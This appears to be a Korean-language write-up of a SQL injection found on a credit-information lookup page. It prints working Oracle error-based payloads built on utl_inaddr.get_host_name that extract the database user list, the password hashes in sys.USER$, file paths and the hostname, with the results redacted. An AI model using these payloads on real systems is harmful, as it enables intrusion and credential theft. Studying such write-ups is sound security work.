---

1. 취약점 발견

---

신용정보 데이터를 조회하는 페이지

sidx 쿼리롸 sord 쿼리를 조작했을 때에 에러메시지 발생.

ORA-00933 : ORACLE DB임을 알 수 있음.

찾았다 야호!

2. 취약점 분석

---

동작 원리를 조금 더 자세히 보면, sidx와 sord가 짝을 이루어 정렬을 하는 역할로 동작한다.

order by SIDX SORD

order by A.BAL1 asc → A.BAL1를 기준으로 오름차순 정렬
order by (A.DRACNT DESC, A.NHCODE) (ASC) → 편법 사용...

따라서 인젝션 포인트는 여기.

select .. from .. where .. order by ( **HERE IS INJECTION POINT!** )

쿼리의 맨 끝부분에 Injection Point가 존재한다.

Blind SQL Injection 가능.

조건문 같은 것 걸어서, 결과문의 내용에 따라 A or B를 알아내는 방법.

시간이 너무 비효율적일 것 같음..

Error Based SQL Injection 시도.

대량의 정보를 한 번에 끌어낼 수 있을 뿐만 아니라, 에러메시지를 그대로 출력하는 보안 허점이 있기 때문에 가능할 것이라고 생각.

ORABLE에서의 Error based sql injection 검색.

ORACLE의 utl_inaddr.get_host_name를 사용하면 서브 쿼리의 내용을 에러 메시지로 출력하는 것이 가능하다.

따라서 쿼리는 아래와 같다.

query : (select utl_inaddr.get_host_name((THIS_IS_QUERY)) from dual)

3. 취약점 Exploit

---

공격을 수행하면, 에러메시지가 결과값으로 출력된다. 그런데, 이제 중요 데이터를 곁들인

그래서 어떤 공격이 가능했는지?

(select utl_inaddr.get_host_name((select user from dual)) from dual)
// DB 서버 현재 접속 유저 이름 : XXXXXXX

(select utl_inaddr.get_host_name((SELECT WM_CONCAT(name) FROM sys.user$)) from dual)
// DB 서버 유저의 목록
// ...

(select utl_inaddr.get_host_name((SELECT version FROM v$instance)) from dual)
// DB 서버 버전
// 10.2.0.5.0

4. 중요 정보 탈취

---

참고로 해당 페이지는 세션 관리 취약점이 동시에 존재하는 페이지로, SQL Injection과 엮어서 로그인 기능 없이도 서버의 전체 데이터 베이스 정보 탈취 가 가능했다.

DB에서 중요하다고 생각되었던 정보들..

(select utl_inaddr.get_host_name((select wm_concat(concat(NAME,PASSWORD)) from sys.USER$)) from dual)
// DB 계정 아이디 패스워드
// SYSXXXXXXXXXXXXX, .....

(select utl_inaddr.get_host_name((SELECT wm_concat(name) FROM V$DATAFILE where rownum < 10)) from dual)
// DB 경로
// /DATA/XXXXXXXXX, ....

(select utl_inaddr.get_host_name((SELECT wm_concat(host_name) FROM v$instance)) from dual)
// DB 서버 호스트 네임
// XXXXXX

5. 아쉬웠던 점

---

SQL Injection만 성공하면 무언가 DB 전체를 빼낼 수 있고 그럴 줄 알았는데, 생각보다 쉽지 않았다.

SQL Injection보다 그 이후에 weaponize를 통해 DB 전체를 추출하거나, 내부망에 침투하는 훈련이 필요할 것 같다.